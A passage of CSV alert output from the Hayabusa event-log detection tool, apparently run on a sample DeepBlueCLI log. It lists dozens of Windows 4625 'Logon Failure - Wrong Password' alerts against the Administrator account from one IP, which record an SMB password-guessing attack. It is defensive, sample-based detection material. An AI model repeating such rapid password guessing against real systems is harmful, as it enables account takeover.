NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.374 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yQqfSKOyKLSILPrQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.552 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k7oAI2q6YCu8btlK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.610 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KniVwndqE9aC6cIM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FgQbvpfuS11matJi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.702 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R9TwJS4B9ZaDD2Ze : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.749 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IPUuoopOnwlTjlTP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.806 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9VEyOUuiOi8Q3JBJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.862 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pGGGazMTBBfrppDZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.919 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NKO4V35Y2qPEB59W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.964 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WxVdhpR7ZnAluurU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gZjAZb9bQKZjwL8u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.066 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aKyLX5ChpgBuFEbr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.112 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 49t2xJvH2yHcyHle : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sg9Z6Pyix2UkMolr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.210 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0NN2olYn97ZoYCja : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.249 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S98j54bDGsz0k6g9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.284 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XxFEw9s0nnEQGzUN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.342 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wSswFHFSlqcQd47k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7icutlVIWSLZJszQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.440 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DSwyugYn0n3i5f25 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.473 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RmBaLCUcR7TmixTy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1oOBz2NQSCdTwa7V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.582 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O4tU1LPF5DRW9Vm0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.633 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SRsSNqPYruWBzp2n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.684 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3JZhBLzt4af1VtCU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.729 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dFLZIKSDBvBaWq59 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: guAG4ZTFMjZAxp1A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Yd04xsSIdiczICeG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.865 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Cx3i1URKPhC6KWI7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.914 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Npc6IS27HsWP3JA9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:54.963 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KIBnr0eZ1bHHGokW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.013 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6gTTrUVjpPU80LlC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.078 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FZlmUbCNAJga24JH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.136 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zf3aSGBMe97VujaH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8bx7ZM77aDG7y6Lh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BnHHAClMwyqA3TTI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 00ibRrYvnFt5w9X0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VglTKbnLVFvHZHzQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.358 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3NwX0sDFwHQG7Tkq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.413 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3mMx3M1zurKMBzyj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sH7b8P0O0uea3PlN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.530 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TJcrTyBPuX0TcvOT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.574 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kwuZIQAL3BmJnPsJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.620 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lxgAfsnH6YWLRD0a : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ttBOjzmEBjr9W2QW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.732 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FPDKGGYkJQeWgtUf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nSoJWqS6YPbpCiBf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.887 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Pr2oMzxv7pcDfsgw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jiopmZAMpwg3dEaA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:55.989 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tG1Bxm0lt3vwoO5V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.043 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9Kf5AaQX7KOVAIAN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.097 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FW9nBirBTHIXIrfp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S9qKcDhfcf2kMk00 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9NgStzf2xQ4P7q0d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j9mCrjQykX06IcMf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7S0QccvEhetekdDP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.298 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n1OnibuatFHwDeLz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.342 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O8u26bKzFOw12m0T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WEEtOj6BOkI7MPY1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EiCpuqll36DojD3e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.469 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p9zjo9ZsSVLZcrsr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.530 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KKDD0O5flEsIEDRZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.582 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jdPMREVdBEJ50ELC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.626 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p7YwRYYCnsr2v08C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.677 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nWyAzzpmxUm2CXE9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9RNqhxyUBjUIic0n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1JERyz3mOBZt2jki : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V0i93RW5AOsIKKMU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.875 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U3XEu06vE68O900O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.925 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0fxeGE2jXOnoJttj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:56.969 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6Wdg3l6IFHTdh09j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.028 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4XLVQRnkUd3bfgvF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rHjqFQwqpCJFI6qP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.139 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L5pEWq2mYsFpFLbb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:57.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HSFKJXTC2wlyw0gu : IP Address: 192.168.198.149 : AuthPackage: 